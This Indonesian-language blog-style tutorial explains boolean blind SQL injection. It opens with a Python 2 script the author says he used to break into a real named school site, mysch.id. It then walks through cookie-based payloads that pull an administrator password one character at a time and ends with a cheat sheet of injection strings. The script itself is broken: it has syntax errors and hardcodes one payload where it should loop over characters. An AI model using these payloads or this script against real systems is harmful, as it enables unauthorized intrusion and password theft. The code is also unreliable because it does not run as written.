Page cover

Blind SQL-Injection: Triggering Conditional Responses

Author: Anonputraid

Triggering Conditional Responses

Source Code Ini Pernah Saya Gunakan Untuk Merentas Situs Mysch ID. Saya Menggunakan Teknik Triggering Conditional Responses Untuk Memeriksa Satu Persatu Nama Database Yang Ada Pada Server Mysch.id.

#!/usr/bin/python2
import requests
import time,sys

web = "http://mysch.id/cari"
max = 20000
for i in range(1,100):
   for x in range(0x20,0x7f)
        payload = "Exploit' OR BINARY substring(database(),1,1) = 'm' -- -"
        data = {"keyword": payload, "cari": "cari"}
        result = requests.post(web, data)
        response = result.content

        if len(response) > max:
              status = True
        elif len(response) < max:
              status = False
           if status == True:
              sys.stdout.write(chr(x))
              sys.stdout.flush()
              ybreak
print ""

Apakah Anda Pernah Melihat Web Yang Menyediakan Header Cookie Seperti Ini:

 Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4 

Disini Anda Sudah Memiliki Jalan Masuk Untuk Mengirim Data Kedalam Server. Karna Server Menset Header Cookie Nya Dengan Nama TrackingId Dengan Begitu Apapun Data Yang Kita Kirim Menggunakan Name: TrackingId Maka Data Tersebut Akan Direspon Oleh Server Karna Server Akan Memeriksa Seperti Ini:

 SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' 

Seperti Yang Kita Tau Bahwa Query Seperti Ini Itu Rentan Terhadap Serangan SQL-Injection. Tetapi Masalah Nya, Hasil Query Yang Dikirim Tidak Akan Dikembalikan Kepengguna. Namun Kita Masih Dapat Memeriksa Apakah Aplikasi Rentan Dengan Cara Melihat Respon Server. Jika Server Mengenali Data Yang Dikirim Maka Server Akan Menampilkan Pesan Selamat Datang.

Logika Respon Pada Server Tersebut Cukup Untuk Mengekploitasi Kerentanan Pada Server Tersebut. Untuk Melihat Cara Kerja Teknik Logika Boolean Ini. Misal Nya Disini Kita Ingin Menyerang Cookie Tersebut:

 Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4 

Semisal Contoh Disini Saya Akan Mengirim 2 Data:

…xyz' AND '1'='1
…xyz' AND '1'='2

Data Pertama Itu Bernilai True, Dan Data Kedua Bernilai False. Data Yang Bernilai True Akan Membuat Server Mengembalikan Data "Selamat Datang" Pada Server. Sedangkan Data Yang Bernilai False. Server Tidak Akan Mengembalikan Data Apapun.

Serangan Ini Memungkin Kan Kita Untuk Mengetrack Satu Persatu Untuk Mendapatkan Informasi Pada Server. Kami dapat secara sistematis menentukan kata sandi untuk pengguna ini dengan mengirimkan serangkaian input untuk menguji kata sandi satu karakter pada satu waktu.

Untuk melakukan ini, kita mulai dengan input berikut:

xyz' AND SUBSTRING((SELECT pass FROM Users WHERE user = 'admin'), 1, 1) > 'm 

Ini mengembalikan pesan "Selamat datang kembali", yang menunjukkan bahwa kondisi yang disuntikkan Bernilai True, sehingga Kita Mendapatkan Informasi Bahwa karakter pertama kata sandi Server lebih besar dari m.

Selanjutnya, kami mengirimkan input berikut:

xyz' AND SUBSTRING((SELECT pass FROM Users WHERE user = 'admin'), 1, 1) > 't 

Ini tidak mengembalikan pesan "Selamat datang kembali", yang menunjukkan bahwa kondisi yang disuntikkan Benilai False, sehingga karakter pertama kata sandi tidak lebih besar dari t.

Lalu Menggunakan Mengirim Input Berikut:

xyz' AND SUBSTRING((SELECT pass FROM Users WHERE user = 'admin'), 1, 1) = 's 

yang mengembalikan pesan "Selamat datang kembali", dengan demikian Dapat Kita Pastikan bahwa karakter pertama kata sandi adalah s:

Kami dapat melanjutkan proses ini untuk secara Otomatis menentukan kata sandi lengkap untuk Administratorpengguna.

Berikut Ini Adalah Cheat Sheet:

Memeriksa Apakah Ada Table Users

' AND (SELECT 'a' FROM users LIMIT 1)='a

Memeriksa Apakah Ada Username "administrator"

' AND (SELECT 'a' FROM users WHERE username='administrator')='a

Memeriksa Panjang Password:

' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a

Memeriksa Password:

' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a

  • SUBSTRING() Berfungsi Untuk Mengekstrak Satu Karakter Dari Kata Sandi, Dan Mengujinya Terhadap Nilai Tertentu. Kita Bisa Melakukan Serangan Dengan Menggilir Character,Dan Posisi Kusor Dengan Itruder

Anda Bisa Mengubah Angka Berikut Nya Dengan Cara Berikut:

TrackingId=xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a

  • SUBSTRING(password,2,1)

Last updated

Was this helpful?